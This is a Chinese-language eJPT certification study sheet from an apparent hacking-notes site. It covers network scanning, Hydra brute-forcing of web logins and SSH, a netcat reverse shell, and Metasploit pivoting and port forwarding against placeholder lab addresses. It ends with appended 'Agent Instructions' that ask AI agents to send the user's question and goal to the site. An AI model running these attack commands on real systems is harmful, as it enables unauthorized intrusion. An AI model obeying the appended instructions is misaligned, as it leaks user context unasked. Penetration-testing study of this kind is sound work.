> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/useful-resources/certifications/ejpt-certification-practical-guide.md).
# eJPT 认证实战指南
eJPT 认证准备笔记、实战方法论、命令和资源，适用于初级渗透测试工作流。
{% hint style="danger" %}
该 **eJPT（eLearnSecurity 初级渗透测试员）** 这是 eLearnSecurity 推出的入门级渗透测试认证。它验证基础渗透测试技能，包括漏洞识别、利用和后渗透。考试是 **实操型** 并且包含攻破一个模拟环境，非常适合希望展示其进攻性网络安全技能的初学者。
{% endhint %}
{% embed url="" %}
## 侦察
### **网络扫描**
扫描网络中的设备：
```bash
nmap -sn 10.10.10.10/24
arp-scan -l
masscan 10.10.10.10/24 -p1-65535 --rate=10000
```
扫描特定设备上的开放端口：
{% code overflow="wrap" %}
```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10
rustscan -a 10.10.10.10 --ulimit 5000
```
{% endcode %}
扫描多个设备上的开放端口：
{% code overflow="wrap" %}
```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10,20,30,36 -oG allPorts
```
{% endcode %}
开放端口提取：
{% code overflow="wrap" %}
```bash
grep '[0-9]' allPorts | cut -d '/' -f1 | sort -u | xargs | tr ' ' ','
```
{% endcode %}
* 示例输出： `22,80,135,445,9543,2214`
对检测到的服务版本进行详细扫描：
```bash
nmap --open -sCV -p 22,80,135,445,9543,2214 10.10.10.10,20,30,36 -oN targeted
```
**Linux 网络上的 Ping 扫描**
```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
```
### **漏洞分析**
使用 Nikto 进行 Web 漏洞扫描：
```bash
nikto -url http://website.com
```
使用 SQLmap 检测 SQL 漏洞：
```bash
sqlmap -r request --dbs
```
扫描 SMB 漏洞：
```bash
nmap -p445 --script"smb-vuln-*" 10.10.10.10
enum4linux -a 10.10.10.10
crackmapexec smb 10.10.10.10 --shares
```
## 利用
#### **使用 Hydra 进行暴力破解攻击**
**登录面板：**
{% code overflow="wrap" %}
```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/admin/admin.php:username=^USER^&password=^PASS^:Incorrect" -t 64 -F
```
{% endcode %}
**使用 Hydra 暴力破解 SSH：**
```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
```
## Metasploit – 横向移动与后渗透挖掘
### Metasploit 反向 shell
**使用 Metasploit 获取访问权限**
```bash
msfconsole
```
监听器配置：
```bash
use multi/handler
set LHOST 10.10.10.10
set LPORT 443
run
```
使用 Netcat 发送反向 shell：
```bash
nc 10.10.10.10 443 -e /bin/bash
```
将会话置于后台：
```bash
sessions
```
### Metasploit 转为 Meterpreter
**方法 1 - 将 Shell 转换为 Meterpreter**
加载转换模块：
```bash
use shell_to_meterpreter
```
会话与端口配置：
```bash
set LHOST 10.10.10.10
set lport 443
set session 1
```
与 Meterpreter 会话交互：
```bash
sessions -i 2
```
添加路由以访问另一个网络段：
```bash
route add 192.168.100.0/24 2
```
**方法 2 - 使用 Highway**
* 加载 `autoroute` 模块：
```bash
use multi/manage/autoroute
```
会话配置与执行：
```bash
set session 2
run
```
**从 Metasploit 进行网络扫描**
* 扫描一台已转移机器的端口：
```bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.21
run
```
### **Metasploit 端口转发**
* 添加一个转发端口以访问远程服务：
```bash
sessions -i 2
portfwd add -l 8080 -p 80 -r 192.168.100.21
```
重定向规则列表：
```bash
portfwd
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/useful-resources/certifications/ejpt-certification-practical-guide.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.